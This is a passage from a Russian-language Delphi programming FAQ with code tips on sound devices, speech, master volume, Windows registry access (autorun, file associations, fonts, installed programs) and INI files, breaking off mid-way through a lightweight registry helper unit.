Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как определить установлена ли звуковая карта?

{ ... }
if WaveOutGetNumDevs > 0 then
  ShowMessage('Wave-Device present')
else
  ShowMessage('No Wave-Device present');
{ ... }

function IsSoundCardInstalled: Boolean;
type
  SCFunc = function: UInt; stdcall;
var
  LibInst: LongInt;
  EntryPoint: SCFunc;
begin
  Result := False;
  LibInst := LoadLibrary(PChar('winmm.dll'));
  try
    if LibInst <> 0 then
    begin
      EntryPoint := GetProcAddress(LibInst, 'waveOutGetNumDevs');
      if (EntryPoint <> 0) then
        Result := True;
    end;
  finally
    if (LibInst <> 0) then
      FreeLibrary(LibInst);
  end;
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Сыграть звуковой файл без компонентов

Если Вам не нужен компонент MediaPlayer, а сыграть звук, например, при нажатии на кнопку, нужно, воспользуйтесь функцией PlaySound. Одна из ее возможностей – сыграть wav-файл.

uses MMsystem;

procedure TForm1.Button1Click(Sender: TObject);
begin
  if OpenDialog1.Execute then
    PlaySound(PChar(OpenDialog1.FileName), 0, SND_FILENAME);
end;
Автор советов: Даниил Карапетян
e-mail: delphi4all@narod.ru

Автор справки: Алексей Денисов
e-mail: aleksey@sch103.krasnoyarsk.su


Как использовать Microsoft Speech API?

// Works on NT, 2k, XP, Win9x with SAPI SDK
// reference & Further examples: See links below!

uses Comobj;

procedure TForm1.Button1Click(Sender: TObject);
var
  voice: OLEVariant;
begin
  voice := CreateOLEObject('SAPI.SpVoice');
  voice.Speak('Hello World!', 0);
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как выключить master volume в звуковой карте?

uses
  MMSystem;

function GetMasterMute(
  Mixer: hMixerObj;
  var Control: TMixerControl): MMResult;
  // Returns True on success
var
  Line: TMixerLine;
  Controls: TMixerLineControls;
begin
  ZeroMemory(@Line, SizeOf(Line));
  Line.cbStruct := SizeOf(Line);
  Line.dwComponentType := MIXERLINE_COMPONENTTYPE_DST_SPEAKERS;
  Result := mixerGetLineInfo(Mixer, @Line,
    MIXER_GETLINEINFOF_COMPONENTTYPE);
  if Result = MMSYSERR_NOERROR then
  begin
    ZeroMemory(@Controls, SizeOf(Controls));
    Controls.cbStruct := SizeOf(Controls);
    Controls.dwLineID := Line.dwLineID;
    Controls.cControls := 1;
    Controls.dwControlType := MIXERCONTROL_CONTROLTYPE_MUTE;
    Controls.cbmxctrl := SizeOf(Control);
    Controls.pamxctrl := @Control;
    Result := mixerGetLineControls(Mixer, @Controls,
      MIXER_GETLINECONTROLSF_ONEBYTYPE);
  end;
end;

procedure SetMasterMuteValue(
  Mixer: hMixerObj;
  Value: Boolean);
var
  MasterMute: TMixerControl;
  Details: TMixerControlDetails;
  BoolDetails: TMixerControlDetailsBoolean;
  Code: MMResult;
begin
  Code := GetMasterMute(0, MasterMute);
  if Code = MMSYSERR_NOERROR then
  begin
    with Details do
    begin
      cbStruct := SizeOf(Details);
      dwControlID := MasterMute.dwControlID;
      cChannels := 1;
      cMultipleItems := 0;
      cbDetails := SizeOf(BoolDetails);
      paDetails := @BoolDetails;
    end;
    LongBool(BoolDetails.fValue) := Value;
    Code := mixerSetControlDetails(0, @Details,
MIXER_SETCONTROLDETAILSF_VALUE);
  end;
  if Code <> MMSYSERR_NOERROR then
    raise Exception.CreateFmt('SetMasterMuteValue failure, '+
      'multimedia system error #%d', [Code]);
end;

// Example:

procedure TForm1.Button1Click(Sender: TObject);
begin
  SetMasterMuteValue(0, CheckBox1.Checked); // Mixer device #0 mute on/off
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Реестр и INI файлы

Cодержание раздела:

Что такое реестр?
Как работать с реестром Windows?
Как работать с реестром средствами API?
Как поместить приложение в автозапуск Windows?
Как связать определённое расширение файлов с моим приложением?
Как добавить True Type шрифт в систему?
Как уведомить все приложения, что реестр был изменён?
Как добавить нужный язык в систему?
Как получить список инсталлированных програм?
Как узнать откуда была установленна Windows?
Проблемы использования TRegistry под NT/2000/XP
Работа с INI файлами
INI-файлы (чтение/запись)
Как перейти к нужному ключу в Regedit? New!
Облегчённый вариант класса TRegistry New!
Как читать REG_MULTI_SZ значение New!
Как получить событие о смене реестра? New!
Проблемы ini-файла New!

См. также
String --> HKEY New!
HKey --> String? New!


Что такое реестр?

Реестр - это системная база данных. Получить доступ к ней можно написав в командной строке ("ПУСК > "Выполнить") слово "RegEdit" - при этом запуститься программа для редактирования реестра. Окно этой программы поделено на две части. В левой (более узкой панели) показана древовидная структура ключей. Ключ - это раздел, отвечающий за какие-либо установки. Сами установки называются параметрами, находящимися в правой панели. Каждый параметр имеет своё имя, значение и тип. Параметры бывают строкового типа, двоичного и типа DWORD. Их очень много, но их назначение зависит от того, в каком ключе находится той или иной параметр. Ключи делятся между шестью основными разделами:

HKEY_CLASSES_ROOT - Содержит информацию об OLE, операциях перетаскивания (drag-and-drop - с англ. перетащить-и-отпустить) и ярлыках. В данном разделе можно так же указать программы, запускаемые при активизации файлов определённого типа. Данный раздел является псевдонимом для ветви HKEY_LOCAL_MACHINE\Software\Classes

HKEY_CURRENT_USER - Содержит индивидуальные установки для каждого пользователя, зарегистрированного в системе. Данный раздел является псевдонимом для ветви HKEY_USERS

HKEY_LOCAL_MACHINE - Содержит аппаратные и программные установки, необходимые для функционирования оборудования и программ. Данный раздел так же хранит конфигурацию Windows.

HKEY_USERS - Содержит установки пользователей и соответствующие конфигурационные данные, такие как цвет окна, расположение элементов на рабочем столе, обои, заставки.

HKEY_CURRENT_CONFIG - Содержит информацию о текущем аппаратном профиле. Если вы не используете аппаратные профили, данный раздел содержит установки Windows по умолчанию.

HKEY_DYN_DATA - В отличие от других разделов, которые хранят статистические данные (неизменяющиеся во время сеанса), данный раздел содержит указатели на динамические данные (постоянно изменяющиеся во время работы компьютера). Windows использует данный раздел для отслеживания профилей оборудования plug-and-play, статистики по производительности и драйверов виртуальных устройств VxD.

Все данные системного реестра заключаются в двух файлах, находящихся в директории Windows - это System.dat и User.dat.

Взято с http://delphiworld.narod.ru


Как работать с реестром Windows?

Вот небольшой пример работы с системным реестром; }

uses
  Registry, Windows;

procedure TForm1.Button1Click(Sender: TObject);
var
  Registry: TRegistry;
begin
  { создаём объект TRegistry }
  Registry := TRegistry.Create;
  { устанавливаем корневой ключ; напрмер hkey_local_machine или hkey_current_user }
  Registry.RootKey := hkey_local_machine;
  { открываем и создаём ключ }
  Registry.OpenKey('software\MyRegistryExample',true);
  { записываем значение }
  Registry.WriteString('MyRegistryName','MyRegistry Value');
  { закрываем и освобождаем ключ }
  Registry.CloseKey;
  Registry.Free;
end;

// для удаления ключа используется функция Registry.DeleteKey

Взято из http://forum.sources.ru


Как работать с реестром средствами API?

Создать подраздел в реестре:

RegCreateKey (Key:HKey; SubKey: PChar; var Result: HKey): Longint;

Key - указывает на "корневой" раздел реестра, в Delphi1 доступен только один - HKEY_CLASSES_ROOT, а в Delphi3 - все.
SubKey - имя раздела - строится по принципу пути к файлу в DOS (пример subkey1\subkey2\ ...). Если такой раздел уже существует, то он открывается.
В любом случае при успешном вызове Result содержит Handle на раздел.
Об успешности вызова судят по возвращаемому значению, если ERROR_SUCCESS, то успешно, если иное - ошибка.

Открыть подраздел:

RegOpenKey(Key: HKey; SubKey: PChar; var Result: HKey): Longint;

Раздел Key
Подраздел SubKey
Возвращает Handle на подраздел в переменной Result. Если раздела с таким именем нет, то он не создается.
Возврат - код ошибки или ERROR_SUCCESS, если успешно.

Закрывает раздел:

RegCloseKey(Key: HKey): Longint;

Закрывает раздел, на который ссылается Key.
Возврат - код ошибки или ERROR_SUCCESS, если успешно.

Удалить подраздел:

RegDeleteKey(Key: HKey; SubKey: PChar): Longint;

Удалить подраздел Key\SubKey.
Возврат - код ошибки или ERROR_SUCCESS, если нет ошибок.

Получить имена всех подразделов раздела Key:

RegEnumKey(Key:HKey; index: Longint; Buffer: PChar; cb: Longint): Longint;

Key - Handle на открытый или созданный раздел
Buffer - указатель на буфер
cb - размер буфера
index - индекс, должен быть равен 0 при первом вызове RegEnumKey. Типичное использование - в цикле While, где index увеличивается до тех пор, пока очередной вызов RegEnumKey не завершится ошибкой

Возвращает текстовую строку, связанную с ключом Key\SubKey:

RegQueryValue(Key: HKey; SubKey: PChar; Value: PChar; var cb: Longint): Longint;

Ключ\подключ Key\SubKey.
Value - буфер для строки
cb - размер, на входе - размер буфера, на выходе - длина возвращаемой строки.
Возврат - код ошибки.

Задать новое значение ключу Key\SubKey:

RegSetValue(Key: HKey; SubKey: PChar; ValType: Longint; Value: PChar; cb: Longint): Longint;

Ключ\подключ Key\SubKey.
ValType - тип задаваемой переменной,
Value - буфер для переменной
cb - размер буфера. В Windows 3.1 допустимо только Value=REG_SZ.
Возврат - код ошибки или ERROR_SUCCESS, если нет ошибок.

Удаляет значение lpValueName находящееся в ключе hKey:

RegDeleteValue(HKEY hKey, LPCTSTR lpValueName);

hKey - ключ. hKey должен был быть открыт с доступом KEY_SET_VALUE процедурой RegOpenKey.
lpValueName - значение, находящееся в ключе hKey.
Возвращает ERROR_SUCCESS если успешно.

Выдает список значений у ключа hKey:

LONG RegEnumValue( HKEY hKey, DWORD dwIndex, LPTSTR lpValueName, LPDWORD lpcbValueName, LPDWORD lpReserved, LPDWORD lpType, LPBYTE lpData, LPDWORD lpcbData);

hKey - ключ.
dwIndex - этот параметр должен быть 0 при первом вызове, а далее по анологии с RegEnumKey (т.е. можно использовать в цикле),
lpValueName - буфер для названия значения
lpcbValueName - размер lpValueName
lpReserved должно быть всегда 0
lpType - буфер для названия типа (int)
lpData - буфер для данных
lpcbData-размер для lpData
Примечание:
При каждой новом вызове функции после предыдущего нужно заново переназначить lpcbValueName.

lpcbValueName = sizeof(lpValueName)

Примеры:
{ Создаем список всех подразделов указанного раздела }
procedure TForm1.Button1Click(Sender: TObject);
var
  MyKey: HKey; { Handle для работы с разделом }
  Buffer: array[0 .. 1000] of char; { Буфер }
  Err, { Код ошибки }
  index: longint; { Индекс подраздела }
begin
  Err := RegOpenKey(HKEY_CLASSES_ROOT, 'DelphiUnit', MyKey); { Открыли раздел }
  if Err <> ERROR_SUCCESS then
  begin
    MessageDlg('Нет такого раздела !!', mtError, [mbOk], 0);
    exit;
  end;
  index := 0;
  {Определили имя первого подраздела }
  Err := RegEnumKey(MyKey, index, Buffer, Sizeof(Buffer));
  while err = ERROR_SUCCESS do { Цикл, пока есть подразделы }
  begin
    memo1.lines.add(StrPas(Buffer)); { Добавим имя подраздела в список }
    inc(index); { Увеличим номер подраздела }
    Err := RegEnumKey(MyKey, index, Buffer, Sizeof(Buffer)); { Запрос }
  end;
  RegCloseKey(MyKey); { Закрыли подраздел }
end;

Взято с http://delphiworld.narod.ru

Реестр предназначен для хранения системных переменных и позволяет зарегистрировать файлы программы, что обеспечивает их показ в проводнике с соответствующей иконкой, вызов программы при щелчке на этом файле, добавление ряда команд в меню, вызываемое при нажатии правой кнопки мыши над файлом. Кроме того, в реестр можно внести некую свою информацию (переменные, константы, данные о инсталлированной программы ...). Программу можно добавить в список деинсталляции, что позволит удалить ее из менеджера "Установка/Удаление программ" панели управления.
Для работы с реестром применяется ряд функций API :
RegCreateKey (Key: HKey; SubKey: PChar; var Result: HKey): Longint;
Создать подраздел в реестре. Key указывает на "корневой" раздел реестра, в Delphi1 доступен только один - HKEY_CLASSES_ROOT, в в Delphi3 - все. SubKey - имя раздела - строится по принципу пути к файлу в DOS (пример subkey1\subkey2\ ...). Если такой раздел уже существует, то он открывается (в любом случае при успешном вызове Result содержит Handle на раздел). Об успешности вызова судят по возвращаемому значению, если ERROR_SUCCESS, то успешно, если иное - ошибка.

RegOpenKey(Key: HKey; SubKey: PChar; var Result: HKey): Longint;
Открыть подраздел Key\SubKey и возвращает Handle на него в переменной Result. Если раздела с таким именем нет, то он не создается. Возврат - код ошибки или ERROR_SUCCESS, если успешно.

RegCloseKey(Key: HKey): Longint;
Закрывает раздел, на который ссылается Key. Возврат - код ошибки или ERROR_SUCCESS, если успешно.

RegDeleteKey(Key: HKey; SubKey: PChar): Longint;
Удалить подраздел Key\SubKey. Возврат - код ошибки или ERROR_SUCCESS, если нет ошибок.

RegEnumKey(Key: HKey; index: Longint; Buffer: PChar;cb: Longint): Longint;
Получить имена всех подразделов раздела Key, где Key - Handle на открытый или созданный раздел (см. RegCreateKey и RegOpenKey), Buffer - указатель на буфер, cb - размер буфера, index - индекс, должен быть равен 0 при первом вызове RegEnumKey. Типичное использование - в цикле While, где index увеличивается до тех пор, пока очередной вызов RegEnumKey не завершится ошибкой (см. пример).

RegQueryValue(Key: HKey; SubKey: PChar; Value: PChar; var cb: Longint): Longint;
Возвращает текстовую строку, связанную с ключом Key\SubKey.Value - буфер для строки; cb- размер, на входе - размер буфера, на выходе - длина возвращаемой строки. Возврат - код ошибки.

RegSetValue(Key: HKey; SubKey: PChar; ValType: Longint; Value: PChar; cb: Longint): Longint;
Задать новое значение ключу Key\SubKey, ValType - тип задаваемой переменной, Value - буфер для переменной, cb - размер буфера. В Windows 3.1 допустимо только Value=REG_SZ. Возврат - код ошибки или ERROR_SUCCESS, если нет ошибок.

Примеры :

{  Создаем список всех подразделов указанного раздела }
procedure TForm1.Button1Click(Sender: TObject);
var
 MyKey   : HKey;   { Handle для работы с разделом }
 Buffer   : array[0..1000] of char; { Буфер }
 Err, { Код ошибки }
index   : longint; { Индекс подраздела }
begin
 Err:=RegOpenKey(HKEY_CLASSES_ROOT,'DelphiUnit',MyKey); { Открыли раздел }
 if Err<> ERROR_SUCCESS then
  begin
    MessageDlg('Нет такого раздела !!',mtError,[mbOk],0);
    exit;
  end;
 index:=0;
 {Определили имя первого подраздела }
 Err:=RegEnumKey(MyKey,index,Buffer,Sizeof(Buffer));
 while err=ERROR_SUCCESS do { Цикл, пока есть подразделы }
  begin
    memo1.lines.add(StrPas(Buffer)); { Добавим имя подраздела в список }
    inc(index); { Увеличим номер подраздела }
    Err:=RegEnumKey(MyKey,index,Buffer,Sizeof(Buffer)); { Запрос }
  end;
 RegCloseKey(MyKey); { Закрыли подраздел }
end;

Источник: http://dmitry9.nm.ru/info/


Как поместить приложение в автозапуск Windows?

Для этого надо добавить ключ в реестр:

procedure SetAutorun(aProgTitle,aCmdLine: string; aRunOnce: boolean );
var
  hKey: string;
  hReg: TRegIniFile;
begin
  if aRunOnce then hKey := 'Once'
  else
    hKey := '';

  hReg := TRegIniFile.Create( '' );
  hReg.RootKey := HKEY_LOCAL_MACHINE;
  hReg.WriteString('Software\Microsoft\Windows\CurrentVersion\Run'
                  + hKey + #0,
                  aProgTitle,
                  aCmdLine );
  hReg.destroy;
end;

Взято из http://forum.sources.ru


Как связать определённое расширение файлов с моим приложением?

В Win32 необходимо создать новую запись в реестре в корневом ключе HKEY_CLASSES_ROOT, которая будет указывать на расширение файла, командную строку и иконку, которая будет отображаться для этого расширения. В Win16, просто включить расширение файла и командную строку в секцию [Extensions] в Win.ini.

Пример:

uses
  Registry, {For Win32}
  IniFiles; {For Win16}

{Для Win32}
procedure TForm1.Button1Click(Sender: TObject);
var
  reg: TRegistry;
begin
  reg := TRegistry.Create;
  reg.RootKey := HKEY_CLASSES_ROOT;
  reg.LazyWrite := false;
  {Add Program Support}
  reg.OpenKey('.bor\shell\open\command', true);
  {Имя файла будет передавать в приложение как первый параметр}
  reg.WriteString('', 'C:\Program Files\Borland\Delphi 3\Project1.exe %1');
  {Добавляем отображаемую иконку}
  reg.CloseKey;
  reg.OpenKey('.bor\DefaultIcon',true);
  {Для отображения используем первую иконку в нашем приложении}
  reg.WriteString('', 'C:\Program Files\Borland\Delphi 3\Project1.exe,0');
  reg.CloseKey;
  reg.free;
end;

{Для Win16}
procedure TForm1.Button2Click(Sender: TObject);
var
  WinIni : TIniFile;
  WinIniFileName : array[0..MAX_PATH] of char;
  s : array[0..64] of char;
begin
  GetWindowsDirectory(WinIniFileName, sizeof(WinIniFileName));
  StrCat(WinIniFileName, '\win.ini');
  WinIni := TIniFile.Create(WinIniFileName);
  WinIni.WriteString('Extensions',
                     'bor',
                     'C:\PROGRA~1\BORLAND\DELPHI~1\PROJECT1.EXE ^.bor');
  WinIni.Free;
  StrCopy(S, 'Extensions');
  SendMessage(HWND_BROADCAST, WM_WININICHANGE, 0, LongInt(@S));
end;

Взято из http://forum.sources.ru


Как добавить True Type шрифт в систему?

Чтобы установить шрифт в систему, необходимо скопировать файл шрифта в 'Windows\Fonts' и добавить ключ в реестр:

'Software\Microsoft\Windows\CurrentVersion\Fonts'

Этот ключ указывает на файл шрифта. Далее запускаем API функцию 'AddFontRecource'. В заключении нужно уведомить систему широковещательным сообщением.

uses Registry;

procedure TForm1.Button1Click(Sender: TObject);
var
  hReg: TRegistry;
  hBool : bool;
begin
  CopyFile('C:\DOWNLOAD\FP000100.TTF',
           'C:\WINDOWS\FONTS\FP000100.TTF', hBool);
  hReg := TRegistry.Create;
  hReg.RootKey := HKEY_LOCAL_MACHINE;
  hReg.LazyWrite := false;
  hReg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Fonts',
               false);
  hReg.WriteString('TESTMICR (TrueType)','FP000100.TTF');
  hReg.CloseKey;
  hReg.free;
  //Добавляем ресурс шрифта
  AddFontResource('c:\windows\fonts\FP000100.TTF');
  SendMessage(HWND_BROADCAST, WM_FONTCHANGE, 0, 0);
  //Убираем блокировку ресурса
  RemoveFontResource('c:\windows\fonts\FP000100.TTF');
  SendMessage(HWND_BROADCAST, WM_FONTCHANGE, 0, 0);
end;
Взято из http://forum.sources.ru


Как уведомить все приложения, что реестр был изменён?

Для этого можно послать в систему широковещательное сообщение WM_WININICHANGE, указав в нём, что изменения касаются реестра. Большинство приложений, работа которых связана с реестром, должны реагировать на сообщение WM_WININICHANGE.

Пример:

procedure TForm1.Button1Click(Sender: TObject);
begin
  SendMessage(HWND_BROADCAST,WM_WININICHANGE,0,LongInt(PChar('RegistrySection')));
end;
Взято из http://forum.sources.ru


Как добавить нужный язык в систему?

Автор: Mekan Gara

Для этого необходимо изменить некоторые ключи в реестре. Например, необходимо добавить Туркменский язык. Конечно, Вам необходимо иметь файл KBD с раскладкой клавиатуры (Turkmen.kbd).

procedure TTMKBD.OkClick(Sender: TObject);
var reg:TRegistry;
     srs,dst:string;
begin
   Reg := TRegistry.Create;
  with Reg do
    try
      RootKey :=HKEY_LOCAL_MACHINE;
      OpenKey('\System\CurrentControlSet\Control\keyboard layouts\00000405', True);
      WriteString('layout file','Turkmen.kbd');
      WriteString('layout text','Turkmen');
      OpenKey('\System\CurrentControlSet\Control\Nls\Locale', True);
      WriteString('00000405','Turkmen');
      CloseKey;
    finally
      Free;
    end;
  srs:='Turkmen.kbd';
  dst:='c:\windows\system\Turkmen.kbd';
  Filecopy(srs,dst);
  showmessage('Well Done it all');
  close;
end;

Взято из http://forum.sources.ru


Как получить список инсталлированных програм?

uses
  Registry;

procedure TForm1.Button1Click(Sender: TObject);
const
  UNINST_PATH = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall';
var
  Reg: TRegistry;
  SubKeys: TStringList;
  ListItem: TlistItem;
  i: integer;
  sDisplayName, sUninstallString: string;
begin
{
  ListView1.ViewStyle := vsReport;
  ListView1.Columns.add;
  ListView1.Columns.add;
  ListView1.Columns[0].caption := 'DisplayName';
  ListView1.Columns[1].caption := 'UninstallString';
  ListView1.Columns[0].Width := 300;
  ListView1.Columns[1].Width := 300;
}
  Reg := TRegistry.Create;
  with Reg do
    try
      with ListView1.Items do
        try
          BeginUpdate;
          Clear;
          RootKey := HKEY_LOCAL_MACHINE;
          if OpenKeyReadOnly(UNINST_PATH) then
          begin
            SubKeys := TStringList.Create;
            try
              GetKeyNames(SubKeys);
              CloseKey;
              for i := 0 to subKeys.Count - 1 do
                if OpenKeyReadOnly(Format('%s\%s', [UNINST_PATH, SubKeys[i]])) then
                  try
                    sDisplayName     := ReadString('DisplayName');
                    sUninstallString := ReadString('UninstallString');
                    if sDisplayName <> '' then
                    begin
                      ListItem         := Add;
                      ListItem.Caption := sDisplayName;
                      ListItem.subitems.Add(sUninstallString);
                    end;
                  finally
                    CloseKey;
                  end;
            finally
              SubKeys.Free;
            end;
          end;
        finally
          ListView1.AlphaSort;
          EndUpdate;
        end;
    finally
      CloseKey;
      Free;
    end;
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как узнать откуда была установленна Windows?

uses Registry;

procedure TForm1.Button1Click(Sender: TObject);
var
   reg: TRegistry;
begin
   reg := TRegistry.Create;
   reg.RootKey := HKEY_LOCAL_MACHINE;
   reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\SETUP',false);
   ShowMessage(reg.ReadString('SourcePath'));
   reg.CloseKey;
   reg.free;
end;
Взято из
DELPHI VCL FAQ Перевод с английского
Подборку, перевод и адаптацию материала подготовил Aziz(JINX)
специально для Королевства Дельфи


Проблемы использования TRegistry под NT/2000/XP

При использованиии компонента TRegistry под NT пользователь с права доступа ниже чем "администратор" не может получить доступа к информации реестра в ключе HKEY_LOCAL_MACHINE. Как это обойти?

Проблема вызвана тем, что TRegistry всегда открывает реестр с параметром KEY_ALL_ACCESS (полный доступ), даже если необходим доступ KEY_READ (только чтение). Избежать этого можно используя функции API для работы с реестром (RegOpenKey и т.п.), или создать новый класс из компонента TRegestry, и изменить его так чтобы можно было задавать режим открытия реестра.

Автор: p0s0l

Вообще-то можно ничего не переписывать:
Reg := TRegistry.Create(KEY_READ);
т.е. у TRegistry есть два конструктора - один без параметра, тогда доступ будет
KEY_ALL_ACCESS, а другой конструктор - с параметром...

Примечание к примечанию Vit
Дополнительные конструкторы появились только в последних версиях Дельфи


Работа с INI файлами

Почему иногда лучше использовать INI-файлы, а не реестр?

1. INI-файлы можно просмотреть и отредактировать в обычном блокноте.
2. Если INI-файл хранить в папке с программой, то при переносе папки на другой компьютер настройки сохраняются. (Я еще не написал ни одной программы, которая бы не поместилась на одну дискету :)
3. Новичку в реестре можно запросто запутаться или (боже упаси), чего-нибудь не то изменить.
Поэтому для хранения параметров настройки программы удобно использовать стандартные INI файлы Windows. Работа с INI файлами ведется при помощи объекта TIniFiles модуля IniFiles. Краткое описание методов объекта TIniFiles дано ниже.

Constructor Create('d:\test.INI');
Создать экземпляр объекта и связать его с файлом. Если такого файла нет, то он создается, но только тогда, когда произведете в него запись информации.

WriteBool(const Section, Ident: string; Value: Boolean);
Присвоить элементу с именем Ident раздела Section значение типа boolean

WriteInteger(const Section, Ident: string; Value: Longint);
Присвоить элементу с именем Ident раздела Section значение типа Longint

WriteString(const Section, Ident, Value: string);
Присвоить элементу с именем Ident раздела Section значение типа String

ReadSection (const Section: string; Strings: TStrings);
Прочитать имена всех корректно описанных переменных раздела Section (некорректно описанные опускаются)

ReadSectionValues(const Section: string; Strings: TStrings);
Прочитать имена и значения всех корректно описанных переменных раздела Section. Формат :
имя_переменной = значение

EraseSection(const Section: string);
Удалить раздел Section со всем содержимым

ReadBool(const Section, Ident: string; Default: Boolean): Boolean;
Прочитать значение переменной типа Boolean раздела Section с именем Ident, и если его нет, то вместо него подставить значение Default.

ReadInteger(const Section, Ident: string; Default: Longint): Longint;
Прочитать значение переменной типа Longint раздела Section с именем Ident, и если его нет, то вместо него подставить значение Default.

ReadString(const Section, Ident, Default: string): string;
Прочитать значение переменной типа String раздела Section с именем Ident, и если его нет, то вместо него подставить значение Default.

Free;
Закрыть и освободить ресурс. Необходимо вызвать при завершении работы с INI файлом

Property Values[const Name: string]: string;
Доступ к существующему параметру по имени Name

Пример :

Procedure TForm1.FormClose(Sender: TObject);
var
 IniFile:TIniFile;
begin
  IniFile := TIniFile.Create('d:\test.INI'); { Создали экземпляр объекта }
  IniFile.WriteBool('Options', 'Sound', True); { Секция Options: Sound:=true }
  IniFile.WriteInteger('Options', 'Level', 3); { Секция Options: Level:=3 }
  IniFile.WriteString('Options' , 'Secret password', Pass);
   { Секция Options: в Secret password записать значение переменной Pass }
  IniFile.ReadSection('Options ', memo1.lines); { Читаем имена переменных}
  IniFile.ReadSectionValues('Options ', memo2.lines); { Читаем имена и значения }
  IniFile.Free; { Закрыли файл, уничтожили объект и освободили память }
end;

Источник: http://dmitry9.nm.ru/info/

Примечание от Vit.
INI файлы имеют ограничение на размер (конкретно зависит от версии операционной системы), поэтому если нужна поддержка файлов более 64 Kb прийдётся воспользоваться сторонними библиотеками или самому работать с файлами как с текстом. Однако следует помнить, что для хранения больших массивов информации ini файлы представляют не самое удачное решение, при увеличении ini файлов до таких размеров следует подумать об альтернативных методах хранения информации: XML, файлы прямого доступа или базы данных.


INI-файлы (чтение/запись)

function ReadIni(ASection, AString: string): string;
var
  sIniFile: TIniFile;
  sPath: string[60];
const
  S = 'xyz'; { стандартная строка для выдачи ошибок чтения }
begin
  GetDir(0, sPath); { текущий каталог }
  sIniFile := TIniFile.Create(sPath + '\Name.INI');
  Result := sIniFile.ReadString(ASection, AString, S); { [Section] String=Value}
  sIniFile.Free;
end;

procedure WriteIni(ASection, AString, AValue: string);
var
  sIniFile: TIniFile;
  sPath: string[60];
begin
  GetDir(0, sPath); { текущий каталог }
  sIniFile := TIniFile.Create(sPath + '\Name.INI');
  sIniFile.WriteString(ASection, AString, AValue); { [Section] String=Value }
  sIniFile.Free;
end;

{ReadSection считывает все пункты указанной секции - т.е. ключи перед знаком "="
ReadSectionValues полностью считывает все строки указанной секции, т.е. Punkt=xyz }


Как перейти к нужному ключу в Regedit?

unit Unit1;

interface

uses
  Windows, Messages, Classes, Controls, Forms, StdCtrls;

type
  TForm1 = class(TForm)
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
    procedure JumpToKey(Key: string);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

uses
  ShellAPI;

procedure TForm1.JumpToKey(Key: string);
var
  i, n: Integer;
  hWin: HWND;
  ExecInfo: ShellExecuteInfoA;
begin
  hWin := FindWindowA(PChar('RegEdit_RegEdit'), nil);
  if hWin = 0 then
  {if Regedit doesn't run then we launch it}
  begin
    FillChar(ExecInfo, 60, #0);
    with ExecInfo do
    begin
      cbSize := 60;
      fMask  := SEE_MASK_NOCLOSEPROCESS;
      lpVerb := PChar('open');
      lpFile := PChar('regedit.exe');
      nShow  := 1;
    end;
    ShellExecuteExA(@ExecInfo);
    WaitForInputIdle(ExecInfo.hProcess, 200);
    hWin := FindWindowA(PChar('RegEdit_RegEdit'), nil);
  end;
  ShowWindow(hWin, SW_SHOWNORMAL);
  hWin := FindWindowExA(hWin, 0, PChar('SysTreeView32'), nil);
  SetForegroundWindow(hWin);
  i := 30;
  repeat
    SendMessageA(hWin, WM_KEYDOWN, VK_LEFT, 0);
    Dec(i);
  until i = 0;
  Sleep(500);
  SendMessageA(hWin, WM_KEYDOWN, VK_RIGHT, 0);
  Sleep(500);
  i := 1;
  n := Length(Key);
  repeat
    if Key[i] = '\' then
    begin
      SendMessageA(hWin, WM_KEYDOWN, VK_RIGHT, 0);
      Sleep(500);
    end
    else
      SendMessageA(hWin, WM_CHAR, Integer(Key[i]), 0);
    i := i + 1;
  until i = n;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  JumpToKey('HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer');
end;

end.

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Облегчённый вариант класса TRegistry

unit MiniReg;

{
  lightweight replacement for TRegistry. Does not use Classes or SysUtils. Intended
  for space-limited applets where only the commonly used functions are necessary.
  Returns True if Successful, else False.

  Written by Ben Hochstrasser (bhoc@surfeu.ch).
  This code is GPL.
}
//  Function Examples:

  procedure TForm1.Button1Click(Sender: TObject);
  var
    ba1, ba2: array of byte;
    n: integer;
    s: String;
    d: Cardinal;
  begin
    setlength(ba1, 10);
    for n := 0 to 9 do ba1[n] := byte(n);

    RegSetString(HKEY_CURRENT_USER, 'Software\My Company\Test\foo\bar\TestString', 'TestMe');
    RegSetExpandString(HKEY_CURRENT_USER, 'Software\My Company\Test\foo\bar\TestExpandString',
      '%SystemRoot%\Test');
    RegSetMultiString(HKEY_CURRENT_USER, 'Software\My Company\Test\foo\bar\TestMultiString',
      'String1'#0'String2'#0'String3');
    RegSetDword(HKEY_CURRENT_USER, 'Software\My Company\Test\foo\bar\TestDword', 7);
    RegSetBinary(HKEY_CURRENT_USER, 'Software\My Company\Test\foo\bar\TestBinary', ba1);

    RegGetString(HKEY_CURRENT_USER, 'Software\My Company\Test\foo\bar\TestString', s);
    RegGetMultiString(HKEY_CURRENT_USER, 'Software\My Company\Test\foo\bar\TestMultiString', s);
    RegGetExpandString(HKEY_CURRENT_USER, 'Software\My Company\Test\foo\bar\TestExpandString', s);
    RegGetDWORD(HKEY_CURRENT_USER, 'Software\My Company\Test\foo\bar\TestDword', d);
    RegGetBinary(HKEY_CURRENT_USER, 'Software\My Company\Test\foo\bar\TestBinary', s);
    SetLength(ba2, Length(s));
    for n := 1 to Length(s) do ba2[n-1] := byte(s[n]);
    Button1.Caption := IntToStr(Length(ba2));

    if RegKeyExists(HKEY_CURRENT_USER, 'Software\My Company\Test\foo') then
      if RegValueExists(HKEY_CURRENT_USER, 'Software\My Company\Test\foo\bar\TestBinary') then
        MessageBox(GetActiveWindow, 'OK', 'OK', MB_OK);
    RegDelValue(HKEY_CURRENT_USER, 'Software\My Company\Test\foo\bar\TestString');
    RegDelKey(HKEY_CURRENT_USER, 'Software\My Company\Test\foo\bar');
    RegDelKey(HKEY_CURRENT_USER, 'Software\My Company\Test\foo');
    RegDelKey(HKEY_CURRENT_USER, 'Software\My Company\Test');
    RegDelKey(HKEY_CURRENT_USER, 'Software\My Company');
